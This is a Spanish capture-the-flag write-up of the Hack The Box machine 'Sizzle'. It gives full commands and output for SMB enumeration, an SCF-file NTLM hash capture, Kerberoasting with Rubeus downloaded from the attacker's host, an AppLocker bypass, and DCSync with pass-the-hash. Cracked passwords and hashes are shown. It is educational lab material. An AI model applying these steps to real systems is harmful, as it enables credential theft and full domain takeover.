Inicio Sizzle Writeup
Entrada
Cancelar
Banner Sizzle

Sizzle Writeup

Máquina Insane, en la que nos aprovechamos de una interacción con el usuario para obtener su hash, luego conseguimos el hash de otro usuario a través de rubeus, por último nos aprovechamos de DCSync para sacar los hashes de todos los usuarios.

Reconocimiento

Primero vamos a comprobar la conectividad con la máquina.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.103
PING 10.10.10.103 (10.10.10.103) 56(84) bytes of data.
64 bytes from 10.10.10.103: icmp_seq=1 ttl=127 time=36.3 ms

--- 10.10.10.103 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 36.293/36.293/36.293/0.000 ms

En la salida del comando anterior se puede ver un parámetro llamado ttl, gracias a este parámetro podemos saber que sistema operativo está corriendo en la máquina víctima.

  • GNU/Linux = TTL 64
  • Windows = TTL 128

En este caso, el sistema operativo que está corriendo en la máquina víctima es Windows.

Vamos a usar la herramienta nmap para descubrir que puertos están abiertos y que servicios están asociados a estos.

1
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.103 -oG allPorts
  • -p- -> Escanea todos los puertos (65535)
  • –open -> Muestra solo los puertos con un estatus “open”
  • -sS -> Aplica un TCP SYN Scan
  • –min-rate 5000 -> Indica que quiero emitir paquetes no más lentos que 5000 paquetes por segundo
  • -vvv -> Muestra la información en pantalla a medida que se descubre
  • -n -> Indica que no aplique resolución DNS
  • -Pn -> Indica que no aplique el protocolo ARP
  • 10.10.10.103 -> Dirección IP que se quiere escanear
  • -oG allPorts -> Exporta el output a un fichero grepeable con nombre “allPorts”

Este sería el output del escaneo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-29 08:27 CEST
Scanning 10.10.10.103 [65535 ports]
PORT      STATE SERVICE          REASON
21/tcp    open  ftp              syn-ack ttl 127
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
443/tcp   open  https            syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
5986/tcp  open  wsmans           syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
                                         ---SKIP---

Ahora vamos a realizar un escaneo más profundo, también con nmap pero esta vez solamente lanzaremos scripts básicos de enumeración y analizaremos la versión de los puertos abiertos obtenidos anteriormente.

1
❯ nmap -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49667,49669,49677,49688,49689,49691,49694,49706,49711,49719 -sC -sV 10.10.10.161 -oN targeted
  • -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49667,49669,49677,49688,49689,49691,49694,49706,49711,49719 -> Indica los puertos que se quieren escanear
  • -sC -> Lanza scripts básicos de enumeración
  • -sV -> Enumera la versión y servicio que está corriendo en los puertos
  • 10.10.10.103 -> Dirección IP que se quiere escanear
  • -oN targeted -> Exporta el output a un fichero en formato nmap con nombre “targeted”

Este sería el output del escaneo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-29 08:32 CEST
Nmap scan report for HTB.LOCAL (10.10.10.103)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-08-29T06:34:07+00:00; +8s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2022-08-29T04:35:53
|_Not valid after:  2023-08-29T04:35:53
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: 2022-08-29T06:34:07+00:00; +8s from scanner time.
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
                                         ---SKIP---

Los puertos abiertos y sus servicios asocidados son:

  • 21/tcp -> ftp
  • 53/tcp -> dns
  • 80/tcp -> http
  • 135/tcp -> rpc
  • 139/tcp -> rpc
  • 389/tcp -> ldap
  • 443/tcp -> https
  • 445/tcp -> smb
  • 464/tcp -> kpasswd
  • 593/tcp -> ncacn_http
  • 636/tcp -> ssl/ldap
  • 3268/tcp -> ldap
  • 3269/tcp -> ssl/ldap
  • 5985/tcp -> http
  • 5986/tcp -> ssl/http
  • 9389/tcp -> mc-nmf
  • 47001/tcp -> http

FTP

Vemos que el FTP permite el login anónimo, vamos a ver que contiene.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ ftp 10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
Name (10.10.10.103:xdann1): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -a
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> put test.txt
local: test.txt remote: targeted
200 PORT command successful.
550 Access is denied.

No existe ningún archivo, además, no tenemos permisos para subir archivos.

Web

Vemos que está abierto un servidor web, vamos a ver las tecnologías que utiliza la página.

1
2
❯ whatweb http://10.10.10.103
http://10.10.10.103 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.103], Microsoft-IIS[10.0], X-Powered-By[ASP.NET]

Tiene todas las tecnologías actualizadas, vamos a realizar un pequeño fuzzing con dirsearch.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ dirsearch -u http://10.10.10.103
Target: http://10.10.10.103/

[14:47:20] Starting: 
[14:47:20] 403 -  312B  - /%2e%2e//google.com
[14:47:25] 403 -    2KB - /Trace.axd
[14:47:26] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[14:47:31] 403 -    1KB - /aspnet_client/
[14:47:31] 301 -  157B  - /aspnet_client  ->  http://10.10.10.103/aspnet_client/
[14:47:32] 403 -    1KB - /certenroll/
[14:47:32] 401 -    1KB - /certsrv/
[14:47:36] 301 -  150B  - /images  ->  http://10.10.10.103/images/
[14:47:36] 403 -    1KB - /images/
[14:47:36] 200 -   60B  - /index.html

En la ruta “certsrv” encontramos un panel de login, nos lo apuntamos que luego nos puede ser útil.

SMB

Vamos a ver que nos encontramos en el puerto 445 (SMB), haremos uso de un “Null Session” junto con herramientas para enumerar este puerto. Entre ellas, crackmapexec, smbclient y smbmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ crackmapexec smb 10.10.10.103
SMB 10.10.10.103 445 SIZZLE [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
❯ smbmap -H 10.10.10.103 -u "test"
[+] Guest session   	IP: 10.10.10.103:445	Name: HTB.LOCAL                                         
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	CertEnroll                                        	NO ACCESS	Active Directory Certificate Services share
	Department Shares                                 	READ ONLY	
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	Operations                                        	NO ACCESS	
	SYSVOL                                            	NO ACCESS	Logon server share 

Tenemos acceso de lectura a los recursos compartidos “Department Shares” y “IPC$”, vamos a montarnos ambos recursos en nuestra máquina para verlos de una forma más comoda, además, tenemos un dominio, vamos a apuntarnoslo en el /etc/hosts.

1
❯ mount -t cifs -o username=xdann1,password=  '//10.10.10.103/Department Shares' /mnt/shares

Si entramos a “/mnt/shares/” veremos que existen una gran cantidad de carpetas, vamos a verlo mejor con tree -fas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
❯ tree -fas
.
├── [          0]  ./Accounting
├── [          0]  ./Audit
├── [          0]  ./Banking
│   └── [          0]  ./Banking/Offshore
│       ├── [          0]  ./Banking/Offshore/Clients
│       ├── [          0]  ./Banking/Offshore/Data
│       ├── [          0]  ./Banking/Offshore/Dev
│       ├── [          0]  ./Banking/Offshore/Plans
│       └── [          0]  ./Banking/Offshore/Sites
├── [          0]  ./CEO_protected
├── [          0]  ./Devops
├── [          0]  ./Finance
├── [          0]  ./HR
│   ├── [          0]  ./HR/Benefits
│   ├── [          0]  ./HR/Corporate Events
│   ├── [          0]  ./HR/New Hire Documents
│   ├── [          0]  ./HR/Payroll
│   └── [          0]  ./HR/Policies
├── [          0]  ./Infosec
├── [          0]  ./Infrastructure
├── [          0]  ./IT
├── [          0]  ./Legal
├── [          0]  ./M&A
├── [          0]  ./Marketing
├── [          0]  ./R&D
├── [          0]  ./Sales
├── [          0]  ./Security
├── [          0]  ./Tax
│   ├── [          0]  ./Tax/2010
│   ├── [          0]  ./Tax/2011
│   ├── [          0]  ./Tax/2012
│   ├── [          0]  ./Tax/2013
│   ├── [          0]  ./Tax/2014
│   ├── [          0]  ./Tax/2015
│   ├── [          0]  ./Tax/2016
│   ├── [          0]  ./Tax/2017
│   └── [          0]  ./Tax/2018
├── [          0]  ./Users
│   ├── [          0]  ./Users/amanda
│   ├── [          0]  ./Users/amanda_adm
│   ├── [          0]  ./Users/bill
│   ├── [          0]  ./Users/bob
│   ├── [          0]  ./Users/chris
│   ├── [          0]  ./Users/henry
│   ├── [          0]  ./Users/joe
│   ├── [          0]  ./Users/jose
│   ├── [          0]  ./Users/lkys37en
│   ├── [          0]  ./Users/morgan
│   ├── [          0]  ./Users/mrb3n
│   └── [          0]  ./Users/Public
└── [          0]  ./ZZ_ARCHIVE
                                         ---SKIP---

AS-REP Roast

Vemos una carpeta que contiene lo que parecen ser usuarios, vamos a apuntarnoslos para probar un AS-REP Roasting.

1
2
3
4
5
6
7
❯ impacket-GetNPUsers HTB.LOCAL/ -no-pass -usersfile users
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] [Errno Connection error (HTB.LOCAL:88)] [Errno 113] No route to host
[-] [Errno Connection error (HTB.LOCAL:88)] [Errno 113] No route to host
[-] [Errno Connection error (HTB.LOCAL:88)] [Errno 113] No route to host
                                         ---SKIP---

No nos funciona el AS-REP Roast.

SCF File Attack

Vamos a ver los permisos que tenemos sobre las carpetas para ver si tenemos algún privilegio de escritura en alguna carpeta.

1
for dir in $(ls /mnt/shares); do for subdir in $(ls /mnt/shares/$dir); do smbcacls "//10.10.10.103/Department Shares" "$dir/$subdir" -N | grep -i everyone | grep -i full > /dev/null && echo "[*] Directorio $dir/$subdir: Permisos de escritura"; done; done

Veremos que tenemos acceso completo en el directorio “Users/Public” y en el directorio “ZZ_ARCHIVE”

1
2
3
4
5
6
7
8
[*] Directorio Users/Public: Permisos de escritura
[*] Directorio ZZ_ARCHIVE/AddComplete.pptx: Permisos de escritura
[*] Directorio ZZ_ARCHIVE/AddMerge.ram: Permisos de escritura
[*] Directorio ZZ_ARCHIVE/ConfirmUnprotect.doc: Permisos de escritura
[*] Directorio ZZ_ARCHIVE/ConvertFromInvoke.mov: Permisos de escritura
[*] Directorio ZZ_ARCHIVE/ConvertJoin.docx: Permisos de escritura
[*] Directorio ZZ_ARCHIVE/CopyPublish.ogg: Permisos de escritura
                                         ---SKIP---

Vamos a subir archivos en estas dos rutas para ver si existe algún modo de interacción con un usuario.

1
2
3
4
5
> put test.txt (en Users/Public)
❯ watch -n 5 ls /mnt/shares/Users/Public

> put test.txt (en ZZ_ARCHIVE)
❯ watch -n 5 ls /mnt/shares/ZZ_ARCHIVE

Al tiempo vemos que el archivo que subimos en “Users/Public” es eliminado, por lo que podemos suponer que existe una interacción con un usuario. Podríamos intentar subir un archivo que intente cargar un fichero en un servidor que nos hemos creado anteriormente, de tal forma que consigamos el hash NTLMv2 del usuario. En la siguiente página podeis encontrar más información acerca de este ataque.

Vamos a crear el archivo que va a hacer que el usuario interactue con nuestro servidor de tal forma que consigamos el hash NTLMv2.

1
2
3
4
5
[Shell]
Command=2
IconFile=\\10.10.14.21\smbFolder\users
[Taskbar]
Command=ToggleDesktop

Ya con el archivo creado, lo vamos a subir a “Users/Public”, al momento nos crearemos un servidor utilizando smbserver, esperaremos unos minutos hasta conseguir el hash NTLMv2 del usuario.

1
❯ impacket-smbserver smbFolder $(pwd) -smb2support

Este sería el hash del usuario “amanda”.

1
amanda::HTB:aaaaaaaaaaaaaaaa:c424ebae358ef3c9f993d2bb665019d4:0101000000000000806203b39ebbd8013dd2da32f0e578f200000000010010006d004c00570049007800550042005300030010006d004c005700490078005500420053000200100064007100520072006400660059005200040010006400710052007200640066005900520007000800806203b39ebbd801060004000200000008003000300000000000000001000000002000007c220dc2b1dbb0d8649575e244e9a3d56815d306332defe978a80873758ae1f70a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0032003100000000000000000000000000

Vamos a intentar crackear el hash del usuario “amanda” con john.

1
2
3
4
5
6
7
8
9
❯ john --w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ashare1972       (amanda)
1g 0:00:00:07 DONE (2022-08-29 14:22) 0.1362g/s 1555Kp/s 1555Kc/s 1555KC/s Ashiah08..Ariel!
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Ya tenemos la contraseña del usuario “amanda”, las credenciales quedarían así “amanda:Ashare1972”. Vamos a probar si las credenciales son válidas en smb y evil-winrm.

1
2
3
4
5
6
7
❯ crackmapexec smb 10.10.10.103 -u amanda -p 'Ashare1972'
SMB         10.10.10.103    445    SIZZLE           [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.103    445    SIZZLE           [+] HTB.LOCAL\amanda:Ashare1972 
❯ crackmapexec winrm 10.10.10.103 -u amanda -p 'Ashare1972'
SMB         10.10.10.103    5986   SIZZLE           [*] Windows 10.0 Build 14393 (name:SIZZLE) (domain:HTB.LOCAL)
HTTP        10.10.10.103    5986   SIZZLE           [*] https://10.10.10.103:5986/wsman
WINRM       10.10.10.103    5986   SIZZLE           [-] HTB.LOCAL\amanda:Ashare1972 "The server did not response with one of the following authentication methods Negotiate, Kerberos, NTLM - actual: ''"

RPC

Ahora que tenemos unas credenciales podemos probar a sacar datos del rpc, voy a utilizar el siguiente repositorio para ello.

1
❯ ./logRPCenum -e All -i 10.10.10.103 -u 'amanda' -p 'Ashare1972' > all

No tenemos nada interesante aparte de más usuarios.

Certificados

Las credenciales son válidas para smb, vamos a ver si tenemos acceso a algún recurso compartido que no teníamos acceso antes.

1
2
3
4
5
6
7
8
9
10
11
12
❯ smbmap -H 10.10.10.103 -u "amanda" -p "Ashare1972"
[+] IP: 10.10.10.103:445	Name: HTB.LOCAL                                         
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	CertEnroll                                        	READ ONLY	Active Directory Certificate Services share
	Department Shares                                 	READ ONLY	
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	Operations                                        	NO ACCESS	
	SYSVOL                                            	READ ONLY	Logon server share 

Vemos que tenemos acceso al recurso compartido “CertEnroll”, tiene un nombre parecido a la ruta del login que encontramos anteriormente, por lo que suponemos que si tenemos acceso al recurso compartido tendremos acceso al login, vamos a intentar autenticarnos con estas credendeciales contra el panel de login.

Login Amanda Login Amanda

Las credenciales son válidas y nos conseguimos autenticar, la página es de “Microsoft Active Directory Certificate Services”, en ella podemos generar certificados que podremos usar posteriormente para demostar que realmente somos la persona que decimos ser.

Nosotros para autenticarnos en evil-winrm utilizando certificados necesitamos 2 archivos, un archivo “*.key” y un archivo “*.cer”, el archivo “*.key” lo podemos generar localmente, sin embargo, para generar el archivo “*.cer” necesitaremos introducir en la página un archivo “*.csr”, este último archivo lo podemos generar desde el archivo “*.key”. Vamos a generar todos los certificados para poder conectarnos por evil-winrm.

1
❯ openssl req -newkey rsa:2048 -nodes -keyout filename.key -out filename.csr

Ya con el archivo “*.csr” podemos generar el archivo “*.cer” en la página web. Tendremos que acceder “Request a certificate > advanced certificate request”, tendremos que copiar el contenido del archivo “filename.csr” en la web.

Creamos el certificado Creamos el certificado

Una vez que le hayamos pasado el archivo “*.cer” nos darán algunas opciones para descargar el certificado, vamos a elegir “Base 64 encoded” y luego le daremos a “Download Certificate”.

Descargamos el certificado Descargamos el certificado

Una vez que tengamos descargado el certificado simplemente le tendremos que pasar ambos certificados a evil-winrm y nos podremos conectar.

1
❯ evil-winrm -S -c certnew.cer -k filename.key -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'

Shell como amanda

Vamos a realizar un reconocimiento básico sobre la máquina víctima

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

> net user amanda
User name                    amanda
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            7/10/2018 4:42:11 PM
Password expires             Never
Password changeable          7/11/2018 4:42:11 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   8/29/2022 10:32:11 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Users
Global Group memberships     *Domain Users
The command completed successfully.

No tenemos ningún usuario o privilegio asignado fuera de lo normal. Vamos a ver si la máquina tiene abierto algún puerto que no se pueda ver desde el exterior.

1
2
3
> netstat -ap tcp > netstat.txt
> download netstat.txt
❯ cat netstat.txt | awk '{print $2}' | grep "0.0.0.0" | tr ":" " " | awk '{print $2}' > internal_ports

Entre todos los puertos que tiene abiertos internamente la máquina víctima vemos algunos que no lo están para los demás, entre ellos el puerto 88 (Kerberos).

Bloodhound

Vamos a abrirnos bloodhound para enumerar usuarios kerberoasteables y otra información. Antes de nada, tendremos que conseguir el comprimido con el cual vamos a operar desde bloodhound. Esto lo haremos con el propio ingestor que trae bloodhound, en este caso vamos a utilizar la version en python.

1
❯ bloodhound-python -u 'amanda' -p 'Ashare1972' -ns 10.10.10.103 -d HTB.LOCAL -c All --zip

Ya con el zip en nuestra máquina, nos abriremos bloodhound y neo4j para poder ver la información que acabamos de conseguir (si nunca habeis utilizado neo4j antes os pedirán que cambieis la contraseña, las credenciales por defecto para acceder son “neo4j:neo4j”).

1
2
❯ neo4j console
❯ bloodhound &>/dev/null disown

Cuando ya tengamos totalmente abierto bloodhound tendremos que subir los datos, esto lo haremos desde el siguiente botón.

Subimos los datos Subimos los datos

Cuando ya tengamos todos los datos subidos en bloodhound filtraremos por “List all Kerberoastable Accounts” para ver que usuarios podemos conseguir su ticket TGS (Ticket Granting Service).

Buscamos usuarios kerberoasteables Buscamos usuarios kerberoasteables

Ya tenemos un usuario vulnerable a un kerberoasting attack, sin embargo, como hemos visto antes no tenemos acceso directo al puerto de kerberos (88), por lo que tendremos que traernoslo a nuestra máquina utilizando un port forwarding o podemos utilizar rubeus para hacerlo desde la propia máquina, yo utilizaré rubeus. Igualmente, sigamos viendo en bloodhound que podemos hacer con el usuario “mrlky”, filtraremos por “Find Principals with DCSync Rights”

Buscamos usuarios con privilegios de DCSync Buscamos usuarios con privilegios de DCSync

Vemos que el usuario “mrlky” puede realizar un DCSync attack.

Rubeus

El esquema de ataque sería el siguiente:

  1. Descargamos rubeus en la máquina víctima.
  2. Conseguimos el ticket TGS del usuario “mrlky” con un kerberoasting attack
  3. Crackeamos el hash
  4. Abusamos del privilegio DCSync

Vamos a descargar rubeus en la máquina victima para poder utilizarlo, lo podéis descargar desde la siguiente url. Nos vamos a compartir un servidor web desde el que nos descargaremos rubeus en la máquina víctima.

1
2
3
❯ python3 -m http.server 80
> iwr -uri http://10.10.14.21/Rubeus.exe -outfile Rubeus.exe
> ./Rubeus.exe

Si intentamos ejecutar Rubeus.exe veremos que nos da un error debido a que el programa está bloqueado debido a “políticas de grupos”, vamos a ver si tenemos algún directorio en el que nos podamos saltar esta restricción.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
PublisherConditions : {*\*\*,0.0.0.0-*}
PublisherExceptions : {}
PathExceptions      : {}
HashExceptions      : {}
Id                  : a9e18c21-ff8f-43cf-b9fc-db40eed693ba
Name                : (Default Rule) All signed packaged apps
Description         : Allows members of the Everyone group to run packaged apps that are signed.
UserOrGroupSid      : S-1-1-0
Action              : Allow

PathConditions      : {\%WINDIR%\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : a61c8b2c-a319-4cd0-9690-d2177cad7b51
Name                : (Default Rule) All files located in the Windows folder
Description         : Allows members of the Everyone group to run applications that are located in the Windows folder.
UserOrGroupSid      : S-1-1-0
Action              : Allow
                                         ---SKIP---

Todos los ficheros que han sido creados debajo de la carpeta “Windows” deberían ser permitidos para ejecutarse, vamos a crearnos una carpeta en la que nos descargaremos rubeus.

1
2
3
4
> mkdir C:\Windows\temp\rubeus
> cd C:\Windows\temp\rubeus
> iwr -uri http://10.10.14.21/Rubeus.exe -outfile Rubeus.exe
> ./Rubeus.exe

Comprobamos que ya podemos ejecutar rubeus, ahora vamos a sacar el ticket TGS del usuario “mrlky”.

1
> ./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972 

El hash del usuario “mrlky” sería el siguiente:

1
$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$7e9b64b7d5699f77c24bb5e091f958b9$b2f621ccaf317fe23bb8d38bcf46e7e6db72ee80bfc46d74f49d8f289bd00fd0cb00530f07ab266b032b15451b56db089864f7ae9c75e68d5a797e409f394bafffab1e28baa735af5bef6d9974d2239f1b856ebae73f1393aa9ca20af62f21e3ba8c83b3c749e6a9f2ed06adbe5555ae508db7cf85416862ceaa000fe3af85024eb14c340d52c00ed83aa9eaed3956666215987e020adcde5576fe0af35bd80ee552503400a8feb92ca030ed75c4934fc4508c10090a1f074ad738b26c054d9efd9bec6c9912f8a5d02896dd5ab34584eab6653b11ad826bf08c24f218d236e603ec25a8d40c7f0fd35fecce1e57a0ad899208ccec1df848e0139f2549ac4a2f5d3ba3baf1d51b3b2644f70f65a8db016d41f8cc459d961d640eedd93e2ce08ba17f65a892c4e374e8d4bb45f890a210156dc17d569c6b44b9680b5e3d42259a7b12a7e1cb5d7120e87771924b16d1c33f8eaca5d4337db36d80a7a0843702fa8415ae94fb389e4419012054fdaf237fb2477c8974f1be2a73cbc81ffd994904114b1ee4ca31a555eab060df88f5255d88ec3677133dc255c6d7703eac3fac958fbd74ab429b7f33f0f7d206e4fdcbb26bce4143dfd69101dc46e141c96697ee38902368b6a3eb216792962ae2228b186f718b7e69306f275320ed1030d830950f042f6e02fb6593b369806c324c521cbc2f4092e59339dc88abcd5f348d56ede5585bb05d62097a218f38a32122afca6cd8d507b8c753ec80dc492bf0975d2071cbd57f1e81b23c26c0a05876c37da6127273c6e6b746f3d90d79c4c9f37ff4e9d628d570b01d71df5f7b313b1c0430102b8b4f815eee195f3b27cc1900a7f8c457612da76c9ad95d3a5cfa3220c2c26da25c7a0a8edc95ad85baa386b808326ad2347c3c30e79abe85964fabc4423ff0fe786885022de638027b030784bde2f4816922ab0ad795ba5c5fcae70a01b0e731ee48a39041989c409aca5e84648d1c322f36e213db9988a9550cc5477f77adb681cb310306f00324bbad57b98844d2a426f32f946fd2f2fdba4117a1ae4299fcb60aa4c6e71eea3168e7f1ff30dbff3e62de87cf27bdd66e64e0c9579a6dbc2eabdcf9b83fe7cbf5982762b1d53226d6e6a1107d32d46f5b0128d3ecfd9da61f8235e942734762d5771c92b85480dcd66d3924110131793ebb4885ff197760ca596d9264b4ed1f2d6c7865149d00511737b6eac12a0d7c531535ab5a65087eb510507c5f29d1

Vamos a crackearlo utilizando john.

1
❯ john --w=/usr/share/wordlists/rockyou.txt hash

Estas serían las credenciales del usuario “mrlky:Football#7”.

DCSync Attack

Ahora que tenemos las crendeciales del usuario “mrlky”, vamos a realizar un DCSync attack, yo voy a utilizar secrectsdump para realizar este ataque.

1
2
3
4
5
6
7
8
9
10
11
❯ impacket-secretsdump htb.local/mrlky@10.10.10.103
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
                                         ---SKIP---

Vamos a probar las credenciales en crackmapexec.

1
2
3
❯ crackmapexec smb 10.10.10.103 -u Administrator -H 'f6b7160bfc91823792e0ac3a162c9267'
SMB         10.10.10.103    445    SIZZLE           [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.103    445    SIZZLE           [+] HTB.LOCAL\Administrator:f6b7160bfc91823792e0ac3a162c9267 (Pwn3d!)

Shell como Administrador

Nos conectamos por smb utilizando psexec.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ impacket-psexec htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.103.....
[*] Found writable share ADMIN$
[*] Uploading file cNnRZHCw.exe
[*] Opening SVCManager on 10.10.10.103.....
[*] Creating service WHtp on 10.10.10.103.....
[*] Starting service WHtp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\mrlky\Desktop\user.txt
f0ccc98fcd28d1cf****************
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
7b5fbfac66ab8dc7****************
Esta entrada está licenciada bajo CC BY 4.0 por el autor.